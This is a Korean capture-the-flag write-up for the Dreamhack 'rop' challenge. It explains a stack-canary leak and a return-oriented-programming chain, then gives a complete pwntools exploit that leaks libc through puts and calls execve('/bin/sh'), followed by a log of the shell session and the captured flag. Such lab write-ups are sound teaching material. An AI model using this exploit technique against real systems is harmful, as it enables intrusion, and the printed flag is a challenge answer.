rop

Description

Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.

checksec

seo@seo-virtual-machine:~/Desktop/rop$ checksec --file ./rop
[*] '/home/seo/Desktop/rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

이번 문제는 이전 basic_rop_x64 문제와 달리 스택 카나리 보호 기법이 적용되어있다.

Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5uLL);
  read(0, buf, 256uLL);
  printf("Buf: %s\n", buf);
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5uLL);
  read(0, buf, 256uLL);
  return 0;
}

할당된 56바이트의 buf에 read함수로 256바이트만큼이나 넘치게 입력받고 있다.

그리고 스택 카나리를 노출시킬 수 있도록 입력받은 버퍼를 출력하게끔 코드가 추가되었다.

Solution

이전 basic_rop_x64 문제와 달리 크게 다를바 없다.

처음에 스택 카나리의 1바이트인 \x00을 덮어써서 노출시키게 만들고,
스택 카나리는 유지한채로 스택 오버플로우를 발생시키게 만들면 된다.

스택 카나리는 buf를 57바이트만큼 더미로 채우면 획득할 수 있다.

solve.py

from pwn import *
#context.log_level = 'debug'
warnings.filterwarnings( 'ignore' )

#p = process("./rop")
p = remote('host3.dreamhack.games', 22531)

p.recvuntil("Buf: ")

payload = b""
payload += b"A" * 57

p.send(payload)

canary = p.recvline()
canary = canary.split(b"A")[-1]
canary = canary.split(b"\n")[0]
canary = canary.split(b"\x01")[0]
canary = b"\x00" + canary
canary = u64(canary)
print(f"canary: {hex(canary)}")

p.recvuntil("Buf: ")
pop_rdi_ret = 0x400853
e = ELF('./rop')

payload = b""
payload += b"A"*0x38
payload += p64(canary)
payload += b"B"*0x8
payload += p64(pop_rdi_ret)
payload += p64(e.got['puts'])
payload += p64(e.symbols['puts'])
payload += p64(e.symbols['main'])
p.send(payload)

#get leaked puts_got
puts_got_mem = p.recvline()
puts_got_mem = puts_got_mem[0:6]
puts_got_mem += b"\x00\x00"
puts_got_mem = u64(puts_got_mem)
libc_base = puts_got_mem - 0x80ed0
print(f"puts_got_mem: {hex(puts_got_mem)}")
print(f"libc_base: {hex(libc_base)}")

#Stage 2. execve"/bin/sh", NULL, NULL);
system = 0x50d60 + libc_base
execve = 0xEB0F0 + libc_base
bin_sh = 0x1d8698 + libc_base
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_pop_r12_ret = libc_base + 0x11f497

p.recvuntil("Buf: ")
payload = b""
payload += b"A" * 0x38
payload += p64(canary)
payload += b"B" * 8
#set rdi
payload += p64(pop_rdi_ret) 
payload += p64(bin_sh) #arg1: /bin/sh
#set rsi
payload += p64(pop_rsi_ret)
payload += p64(0) #arg2: NULL
#set rdx
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(0) #rdx #arg3: NULL
payload += p64(0) #r12
payload += p64(execve)
p.send(payload)

p.recvuntil("Buf: ")
p.send(payload)


p.interactive()

Result

seo@seo-virtual-machine:~/Desktop/rop$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 22531: Done
canary: 0x80e05aaef4426800
[*] '/home/seo/Desktop/rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
puts_got_mem: 0x7ff294c66ed0
libc_base: 0x7ff294be6000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[2] Input ROP payload
Buf: $ ls
flag
rop
run.sh
$ cat flag
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}